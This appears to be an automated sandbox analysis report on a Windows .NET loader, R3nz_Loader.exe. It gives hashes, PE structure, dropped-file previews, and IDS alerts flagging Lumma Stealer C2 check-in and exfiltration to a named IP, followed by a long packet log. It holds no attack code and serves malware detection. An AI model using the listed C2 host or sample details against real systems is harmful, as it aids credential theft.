SHA-512:	B3B91C3BB0FDEAC91C88FD3E39F4C253FD8C317A91237841076C4733DE3C1CAD75C6C05ADE914E545AD617A7BB2EFA9A49219AF961B7B4268246FCF195F724D1
Malicious:	false
Reputation:	low
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmz..)BZ...............................................................................................................................................................................................................................................................................................................................................1..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\R3nz_Loader.exe
File Type:	ASCII text, with very long lines (354), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	4.541407831894227
Encrypted:	false
SSDEEP:	24:7v74Nu5MvXIUn2p/kpgw4r22Drrb2nknlusDp:7T4cMff2p8p14nrPKktp
MD5:	1F8E54DB13948BF2759E2DE1AEF4FF27
SHA1:	147E07C6B98CFF68D51C34CF30E338A8A17C156B
SHA-256:	3D638F789F4CC5B75D505F12DFF02DEA7FB8B7CF3D91DE35B56BA98C1CA038AF
SHA-512:	CC73D243D70EE2E26E1858E074B26DDF2F02CB06970D6B78E7E9EC9C449334FBA86FC7337073D80025EE15E34F7EC22026957B9E1D6A05DC6795D2CECD0F6442
Malicious:	false
Reputation:	low
Preview:	.Unhandled Exception: System.Resources.MissingManifestResourceException: Could not find any resources appropriate for the specified culture or the neutral culture. Make sure "caspol.resources" was correctly embedded or linked into assembly "XeniaHarveyKaitlyn" at compile time, or that all the satellite assemblies required are loadable and fully signed... at System.Resources.ManifestBasedResourceGroveler.HandleResourceStreamMissing(String fileName).. at System.Resources.ManifestBasedResourceGroveler.GrovelForResourceSet(CultureInfo culture, Dictionary`2 localResourceSets, Boolean tryParents, Boolean createIfNotExists, StackCrawlMark& stackMark).. at System.Resources.ResourceManager.InternalGetResourceSet(CultureInfo requestedCulture, Boolean createIfNotExists, Boolean tryParents, StackCrawlMark& stackMark).. at System.Resources.ResourceManager.InternalGetResourceSet(CultureInfo culture, Boolean createIfNotExists, Boolean tryParents).. at System.Resources.ResourceManager.GetSt

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.737994793682443
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.96% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	R3nz_Loader.exe
File size:	706'048 bytes
MD5:	b43d8eca7777b170ddc40a824ab10bb6
SHA1:	a7da0bbde621a7df3489b394ee4e5cea963225e6
SHA256:	1db1a4c253278293c863dff9759c6577f1b6b5b8f69ac0c612338453eeea96d9
SHA512:	54c6ec0681b7e67782c4d142450f84bef5129c4cfa4dfbd70edc63bd3385d8cc9277cdfbcf2c3a8f6c5cb49b9252eb8c46984a65164164886b805e084e6bbb55
SSDEEP:	12288:ENvwXTkEVI9HBoDWupxGsFITxLmIJpCbp4/MLq/xgtQS7iBDgCL+ZNNzloh3LouP:ENoXQEV2hozxG0c0bp2Y4oQSW
TLSH:	EFE47B9C726072DFC867D472DEA82C68FA9174BB871F4217A02716AD9E0D897CF150F2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....qg..............0..............@....... ....@.. .......................`............@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4b400a
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6771CD0F [Sun Dec 29 22:28:31 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [004B4000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8e780	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0x640	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xb4000	0x8
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x8e000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
^]tBD;I	0x2000	0x8a8cc	0x8aa00	4aba24cfb364dff8e98778b6d82a69fd	False	1.0003187697249774	data	7.999688407134414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.text	0x8e000	0x20b48	0x20c00	f53637936f05b21a5b09ae51f5f57bac	False	0.3313976025763359	data	4.688971111396578	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb0000	0x640	0x800	d018ee0af29c98b01b7fd3895a878684	False	0.36279296875	data	3.5529147255674487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb2000	0xc	0x200	49ba7a9e1e9d0fde8dd025f5fdb99dfe	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
	0xb4000	0x10	0x200	45934a465f9653459a1ea07b453b8625	False	0.044921875	data	0.14263576814887827	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xb00a0	0x3b4	data			0.45675105485232065
RT_MANIFEST	0xb0454	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-29T23:36:55.447181+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	104.21.32.1	443	TCP
2024-12-29T23:36:55.916300+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.32.1	443	TCP
2024-12-29T23:36:55.916300+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.32.1	443	TCP
2024-12-29T23:36:56.516425+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	104.21.32.1	443	TCP
2024-12-29T23:36:56.980247+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	104.21.32.1	443	TCP
2024-12-29T23:36:56.980247+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.32.1	443	TCP
2024-12-29T23:36:57.936435+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	104.21.32.1	443	TCP
2024-12-29T23:36:59.137265+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	104.21.32.1	443	TCP
2024-12-29T23:36:59.618823+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49709	104.21.32.1	443	TCP
2024-12-29T23:37:00.850104+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49714	104.21.32.1	443	TCP
2024-12-29T23:37:02.386572+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49715	104.21.32.1	443	TCP
2024-12-29T23:37:04.357809+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49716	104.21.32.1	443	TCP
2024-12-29T23:37:06.910342+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49717	104.21.32.1	443	TCP
2024-12-29T23:37:07.362321+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49717	104.21.32.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 23:36:54.999418974 CET	49704	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:54.999465942 CET	443	49704	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:54.999543905 CET	49704	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:55.000592947 CET	49704	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:55.000606060 CET	443	49704	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:55.447102070 CET	443	49704	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:55.447180986 CET	49704	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:55.450963974 CET	49704	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:55.450973988 CET	443	49704	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:55.451217890 CET	443	49704	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:55.503643036 CET	49704	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:55.517797947 CET	49704	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:55.517813921 CET	49704	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:55.517884970 CET	443	49704	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:55.916250944 CET	443	49704	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:55.916343927 CET	443	49704	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:55.916409969 CET	49704	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:55.983843088 CET	49704	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:55.983897924 CET	443	49704	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:55.983916044 CET	49704	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:55.983922958 CET	443	49704	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:56.078555107 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:56.078612089 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:56.078800917 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:56.079494953 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:56.079514980 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:56.516278028 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:56.516424894 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:56.531290054 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:56.531310081 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:56.531528950 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:56.538446903 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:56.538561106 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:56.538580894 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:56.980240107 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:56.980283022 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:56.980309963 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:56.980329990 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:56.980339050 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:56.980349064 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:56.980391026 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:56.980400085 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:56.980424881 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:56.980437994 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:56.980443001 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:56.980477095 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:56.980487108 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:56.980490923 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:56.980550051 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:56.980714083 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:57.036166906 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:57.036180973 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:57.063210964 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:57.063239098 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:57.063256979 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:57.063261986 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:57.063271046 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:57.063339949 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:57.063342094 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:57.063384056 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:57.111373901 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:57.111397028 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:57.111407042 CET	49705	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:57.111413002 CET	443	49705	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:57.500977039 CET	49707	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:57.501008034 CET	443	49707	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:57.501081944 CET	49707	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:57.501516104 CET	49707	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:57.501527071 CET	443	49707	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:57.936269045 CET	443	49707	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:57.936434984 CET	49707	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:57.937896013 CET	49707	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:57.937902927 CET	443	49707	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:57.938141108 CET	443	49707	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:57.939714909 CET	49707	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:57.939714909 CET	49707	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:57.939752102 CET	443	49707	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:58.540867090 CET	443	49707	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:58.540949106 CET	443	49707	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:58.541117907 CET	49707	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:58.541474104 CET	49707	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:58.541488886 CET	443	49707	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:58.677575111 CET	49709	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:58.677637100 CET	443	49709	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:58.677927971 CET	49709	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:58.678314924 CET	49709	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:58.678333998 CET	443	49709	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:59.137181044 CET	443	49709	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:59.137264967 CET	49709	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:59.138648033 CET	49709	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:59.138659000 CET	443	49709	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:59.138880014 CET	443	49709	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:59.151302099 CET	49709	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:59.155493975 CET	49709	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:59.155536890 CET	443	49709	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:59.155590057 CET	49709	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:59.203349113 CET	443	49709	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:59.618834972 CET	443	49709	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:59.618921995 CET	443	49709	104.21.32.1	192.168.2.5
Dec 29, 2024 23:36:59.619013071 CET	49709	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:59.629853010 CET	49709	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:36:59.629877090 CET	443	49709	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:00.406337976 CET	49714	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:00.406363964 CET	443	49714	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:00.406461000 CET	49714	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:00.406888008 CET	49714	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:00.406897068 CET	443	49714	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:00.850033045 CET	443	49714	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:00.850104094 CET	49714	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:00.851615906 CET	49714	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:00.851624012 CET	443	49714	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:00.851855993 CET	443	49714	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:00.853910923 CET	49714	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:00.854064941 CET	49714	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:00.854093075 CET	443	49714	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:00.854161978 CET	49714	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:00.854168892 CET	443	49714	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:01.482786894 CET	443	49714	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:01.482889891 CET	443	49714	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:01.483012915 CET	49714	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:01.483130932 CET	49714	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:01.483145952 CET	443	49714	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:01.951387882 CET	49715	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:01.951427937 CET	443	49715	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:01.951500893 CET	49715	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:01.951843977 CET	49715	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:01.951860905 CET	443	49715	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:02.386473894 CET	443	49715	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:02.386571884 CET	49715	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:02.388111115 CET	49715	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:02.388122082 CET	443	49715	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:02.388326883 CET	443	49715	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:02.399676085 CET	49715	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:02.399799109 CET	49715	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:02.399806976 CET	443	49715	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:03.086950064 CET	443	49715	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:03.087037086 CET	443	49715	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:03.087120056 CET	49715	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:03.089245081 CET	49715	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:03.089262962 CET	443	49715	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:03.901685953 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:03.901731014 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:03.901957035 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:03.902357101 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:03.902374029 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:04.357731104 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:04.357809067 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.359880924 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.359893084 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:04.360223055 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:04.388480902 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.389606953 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.389648914 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:04.389833927 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.389870882 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:04.390022993 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.390052080 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:04.390197992 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.390229940 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:04.390388012 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.390419960 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:04.390594006 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.390625954 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:04.390635014 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.390649080 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:04.390794039 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.390821934 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:04.390839100 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.390991926 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.391030073 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.400046110 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:04.400217056 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.400264025 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.400269985 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:04.400299072 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.400312901 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:04.400419950 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:04.405297041 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:06.465044975 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:06.465157986 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:06.465221882 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:06.465459108 CET	49716	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:06.465466976 CET	443	49716	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:06.475269079 CET	49717	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:06.475318909 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:06.475580931 CET	49717	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:06.476093054 CET	49717	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:06.476109028 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:06.910254002 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:06.910341978 CET	49717	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:06.911601067 CET	49717	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:06.911613941 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:06.911840916 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:06.913155079 CET	49717	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:06.913247108 CET	49717	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:06.913269997 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:07.362348080 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:07.362412930 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:07.362468004 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:07.362498045 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:07.362503052 CET	49717	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:07.362560987 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:07.362601995 CET	49717	443	192.168.2.5	104.21.32.1
Dec 29, 2024 23:37:07.362718105 CET	443	49717	104.21.32.1	192.168.2.5
Dec 29, 2024 23:37:07.362744093 CET	443	49717	104.21.32.1	192.168.2.5
